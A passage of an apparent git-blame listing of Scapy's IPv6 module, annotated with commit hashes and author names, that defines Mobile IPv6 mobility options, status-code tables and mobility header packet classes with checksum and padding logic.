2765c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: pkt.olen) ] 2766c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 0 ; y = 0 # alignment requirement: none 2767c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2768c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptSignature(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.2) 2769c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "MIPv6 option - Signature" 2770c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("otype", 13, _mobopttypes), 2771c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("olen", None, length_of="sig", fmt="B"), 2772c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil StrLenField("sig", "", 2773c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: pkt.olen) ] 2774c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 0 ; y = 0 # alignment requirement: none 2775c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2776c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptHomeKeygenToken(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.3) 2777c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "MIPv6 option - Home Keygen Token" 2778c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("otype", 14, _mobopttypes), 2779c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("olen", None, length_of="hkt", fmt="B"), 2780c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil StrLenField("hkt", "", 2781c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: pkt.olen) ] 2782c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 0 ; y = 0 # alignment requirement: none 2783c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2784c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCareOfTestInit(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.4) 2785c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "MIPv6 option - Care-of Test Init" 2786c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("otype", 15, _mobopttypes), 2787c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("olen", 0) ] 2788c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 0 ; y = 0 # alignment requirement: none 2789c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2790c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCareOfTest(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.5) 2791c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "MIPv6 option - Care-of Test" 2792c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("otype", 16, _mobopttypes), 2793c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("olen", None, length_of="cokt", fmt="B"), 27942a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter StrLenField("cokt", b'\x00'*8, 2795c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: pkt.olen) ] 2796c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 0 ; y = 0 # alignment requirement: none 2797c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2798c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptUnknown(_MIP6OptAlign, Packet): 2799c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = 'Scapy6 - Unknown Mobility Option' 2800c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("otype", 6, _mobopttypes), 2801c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("olen", None, length_of="odata", fmt="B"), 2802c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil StrLenField("odata", "", 2803c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: pkt.olen) ] 2804c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 0 ; y = 0 # alignment requirement: none 2805c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2806c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilmoboptcls = { 0: Pad1, 2807c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1: PadN, 2808c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2: MIP6OptBRAdvice, 2809c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3: MIP6OptAltCoA, 2810c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 4: MIP6OptNonceIndices, 2811c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 5: MIP6OptBindingAuthData, 2812c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 6: MIP6OptMobNetPrefix, 2813c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 7: MIP6OptLLAddr, 28140d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 8: MIP6OptMNID, 2815c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 9: MIP6OptMsgAuth, 2816c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 10: MIP6OptReplayProtection, 2817c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 11: MIP6OptCGAParamsReq, 2818c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 12: MIP6OptCGAParams, 2819c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 13: MIP6OptSignature, 2820c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 14: MIP6OptHomeKeygenToken, 2821c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 15: MIP6OptCareOfTestInit, 2822c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 16: MIP6OptCareOfTest } 2823c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2824c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2825c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Main Mobile IPv6 Classes 2826c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2827c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilmhtypes = { 0: 'BRR', 2828c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1: 'HoTI', 2829c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2: 'CoTI', 2830c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3: 'HoT', 2831c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 4: 'CoT', 2832c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 5: 'BU', 2833c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 6: 'BA', 2834c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 7: 'BE', 2835c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 8: 'Fast BU', 2836c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 9: 'Fast BA', 2837c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 10: 'Fast NA' } 2838c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 28390d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# From http://www.iana.org/assignments/mobility-parameters 2840c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbastatus = { 0: 'Binding Update accepted', 2841c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1: 'Accepted but prefix discovery necessary', 2842c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 128: 'Reason unspecified', 2843c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 129: 'Administratively prohibited', 2844c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 130: 'Insufficient resources', 2845c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 131: 'Home registration not supported', 2846c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 132: 'Not home subnet', 2847c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 133: 'Not home agent for this mobile node', 2848c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 134: 'Duplicate Address Detection failed', 2849c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 135: 'Sequence number out of window', 2850c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 136: 'Expired home nonce index', 2851c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 137: 'Expired care-of nonce index', 2852c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 138: 'Expired nonces', 2853c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 139: 'Registration type change disallowed', 2854c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 140: 'Mobile Router Operation not permitted', 2855c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 141: 'Invalid Prefix', 2856c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 142: 'Not Authorized for Prefix', 2857c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 143: 'Forwarding Setup failed (prefixes missing)', 2858c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 144: 'MIPV6-ID-MISMATCH', 2859c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 145: 'MIPV6-MESG-ID-REQD', 2860c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 146: 'MIPV6-AUTH-FAIL', 2861c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 147: 'Permanent home keygen token unavailable', 2862c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 148: 'CGA and signature verification failed', 2863c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 149: 'Permanent home keygen token exists', 2864c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 150: 'Non-null home nonce index expected' } 2865c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2866c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2867c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _MobilityHeader(Packet): 2868c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = 'Dummy IPv6 Mobility Header' 2869c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = { IPv6: { "nh": 135 }} 2870c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2871c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def post_build(self, p, pay): 2872c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil p += pay 2873c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil l = self.len 2874c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if self.len is None: 287563ae11708b02df74dd3e8d2385d2829f3d622d66gpotter l = (len(p)-8)//8 2876b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter p = chb(p[0]) + struct.pack("B", l) + chb(p[2:]) 2877c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if self.cksum is None: 2878c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil cksum = in6_chksum(135, self.underlayer, p) 2879c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 2880c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil cksum = self.cksum 28815e8857410015a93f6371459b2f870432ded39b9fgpotter p = chb(p[:4])+struct.pack("!H", cksum)+chb(p[6:]) 2882c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return p 2883c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2884c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2885c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_Generic(_MobilityHeader): # Mainly for decoding of unknown msg 2886c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "IPv6 Mobility Header - Generic Message" 2887c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("nh", 59, ipv6nh), 2888c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len", None), 2889c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteEnumField("mhtype", None, mhtypes), 2890c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("res", None), 2891c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 28922a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter StrLenField("msg", b"\x00"*2, 2893c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: 8*pkt.len-6) ] 2894c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2895c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 28960d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 2897c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: make a generic _OptionsField 2898c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _MobilityOptionsField(PacketListField): 2899b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET __slots__ = ["curpos"] 2900c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def __init__(self, name, default, cls, curpos, count_from=None, length_from=None): 2901c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.curpos = curpos 2902c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from) 29030d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 2904c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def getfield(self, pkt, s): 2905c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil l = self.length_from(pkt) 2906c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s[l:],self.m2i(pkt, s[:l]) 2907c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2908c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2len(self, pkt, i): 2909c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return len(self.i2m(pkt, i)) 2910c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2911c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def m2i(self, pkt, x): 2912c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil opt = [] 2913c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil while x: 2914b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter o = orb(x[0]) # Option type 2915c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil cls = self.cls 2916d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter if o in moboptcls: 2917c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil cls = moboptcls[o] 2918c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil try: 2919c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil op = cls(x) 2920c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil except: 2921c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil op = self.cls(x) 2922c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil opt.append(op) 29237b3e970663abd72697e17b70aba9943ae0dad404Phil if isinstance(op.payload, conf.raw_layer): 2924c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = op.payload.load 2925c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil del(op.payload) 2926c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 29275e8857410015a93f6371459b2f870432ded39b9fgpotter x = b"" 2928c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return opt 2929c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2930c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2m(self, pkt, x): 2931c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil autopad = None 2932c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil try: 2933c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field 2934c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil except: 2935c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil autopad = 1 29360d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 2937c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if not autopad: 29381186356a1d73fd59b700d8af05e789d0e8899de6gpotter return b"".join(map(str, x)) 2939c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2940c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil curpos = self.curpos 29411186356a1d73fd59b700d8af05e789d0e8899de6gpotter s = b"" 2942c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil for p in x: 2943c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil d = p.alignment_delta(curpos) 2944c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil curpos += d 2945c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if d == 1: 29465e8857410015a93f6371459b2f870432ded39b9fgpotter s += raw(Pad1()) 2947c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif d != 0: 29485e8857410015a93f6371459b2f870432ded39b9fgpotter s += raw(PadN(optdata=b'\x00'*(d-2))) 29495e8857410015a93f6371459b2f870432ded39b9fgpotter pstr = raw(p) 2950c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil curpos += len(pstr) 2951c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil s += pstr 29520d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 2953c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # Let's make the class including our option field 2954c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # a multiple of 8 octets long 2955c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil d = curpos % 8 2956c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if d == 0: 2957c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s 2958c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil d = 8 - d 2959c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if d == 1: 29605e8857410015a93f6371459b2f870432ded39b9fgpotter s += raw(Pad1()) 2961c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif d != 0: 29625e8857410015a93f6371459b2f870432ded39b9fgpotter s += raw(PadN(optdata=b'\x00'*(d-2))) 2963c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2964c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s 2965c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2966c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def addfield(self, pkt, s, val): 2967c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s+self.i2m(pkt, val) 2968c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2969c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BRR(_MobilityHeader): 2970c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "IPv6 Mobility Header - Binding Refresh Request" 2971c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("nh", 59, ipv6nh), 2972c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len", None), 29730d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz ByteEnumField("mhtype", 0, mhtypes), 2974c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("res", None), 2975c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 29760d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz ShortField("res2", None), 2977c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _PhantomAutoPadField("autopad", 1), # autopad activated by default 2978c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _MobilityOptionsField("options", [], MIP6OptUnknown, 8, 2979c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: 8*pkt.len) ] 2980c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = { IPv6: { "nh": 135 } } 29810d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz def hashret(self): 2982c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # Hack: BRR, BU and BA have the same hashret that returns the same 29832a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter # value b"\x00\x08\x09" (concatenation of mhtypes). This is 2984c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # because we need match BA with BU and BU with BRR. --arno 29852a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter return b"\x00\x08\x09" 2986c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2987c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_HoTI(_MobilityHeader): 2988c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "IPv6 Mobility Header - Home Test Init" 2989c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("nh", 59, ipv6nh), 2990c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len", None), 29910d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz ByteEnumField("mhtype", 1, mhtypes), 2992c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("res", None), 29930d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz XShortField("cksum", None), 29942a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter StrFixedLenField("reserved", b"\x00"*2, 2), 29952a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter StrFixedLenField("cookie", b"\x00"*8, 8), 2996c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _PhantomAutoPadField("autopad", 1), # autopad activated by default 2997c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _MobilityOptionsField("options", [], MIP6OptUnknown, 16, 2998c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: 8*(pkt.len-1)) ] 2999c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = { IPv6: { "nh": 135 } } 3000c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def hashret(self): 3001d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter return raw(self.cookie) 3002c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3003c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_CoTI(MIP6MH_HoTI): 3004c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "IPv6 Mobility Header - Care-of Test Init" 3005c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil mhtype = 2 3006c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def hashret(self): 30072bc05da394cc74cc295ac5bba8642f7552bdeb89gpotter return raw(self.cookie) 3008c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3009c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_HoT(_MobilityHeader): 3010c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "IPv6 Mobility Header - Home Test" 3011c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("nh", 59, ipv6nh), 3012c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len", None), 30130d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz ByteEnumField("mhtype", 3, mhtypes), 3014c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("res", None), 30150d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz XShortField("cksum", None), 3016c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ShortField("index", None), 30172a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter StrFixedLenField("cookie", b"\x00"*8, 8), 30182a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter StrFixedLenField("token", b"\x00"*8, 8), 3019c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _PhantomAutoPadField("autopad", 1), # autopad activated by default 3020c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _MobilityOptionsField("options", [], MIP6OptUnknown, 24, 3021c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: 8*(pkt.len-2)) ] 3022c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = { IPv6: { "nh": 135 } } 3023c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def hashret(self): 30242bc05da394cc74cc295ac5bba8642f7552bdeb89gpotter return raw(self.cookie) 30252725e5a6ba524e991829570db2c6711384124ab6Pierre LALET def answers(self, other): 3026c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if (isinstance(other, MIP6MH_HoTI) and 3027c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.cookie == other.cookie): 3028c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 1 3029c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 0 3030c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3031c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_CoT(MIP6MH_HoT): 3032c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "IPv6 Mobility Header - Care-of Test" 3033c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil mhtype = 4 3034c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def hashret(self): 30352bc05da394cc74cc295ac5bba8642f7552bdeb89gpotter return raw(self.cookie) 3036c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 30370aeb049606bee9335e62afea58479915bd6e2344Pierre LALET def answers(self, other): 3038c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if (isinstance(other, MIP6MH_CoTI) and 3039c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.cookie == other.cookie): 3040c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 1 3041c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 0 3042c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3043c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass LifetimeField(ShortField): 3044c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2repr(self, pkt, x): 3045c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return "%d sec" % (4*x) 3046c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3047c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BU(_MobilityHeader): 3048c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "IPv6 Mobility Header - Binding Update" 3049c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("nh", 59, ipv6nh), 3050c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) 3051c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteEnumField("mhtype", 5, mhtypes), 3052c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("res", None), 3053c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 3054c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("seq", None), # TODO: ShortNonceField 3055571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil FlagsField("flags", "KHA", 7, "PRMKLHA"), 3056571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil XBitField("reserved", 0, 9), 3057c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil LifetimeField("mhtime", 3), # unit == 4 seconds 3058c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _PhantomAutoPadField("autopad", 1), # autopad activated by default 3059c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _MobilityOptionsField("options", [], MIP6OptUnknown, 12, 3060c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: 8*pkt.len - 4) ] 3061c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = { IPv6: { "nh": 135 } } 3062c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3063c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() 30642a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter return b"\x00\x08\x09" 3065c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 30660d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz def answers(self, other): 3067c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if isinstance(other, MIP6MH_BRR): 3068c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 1 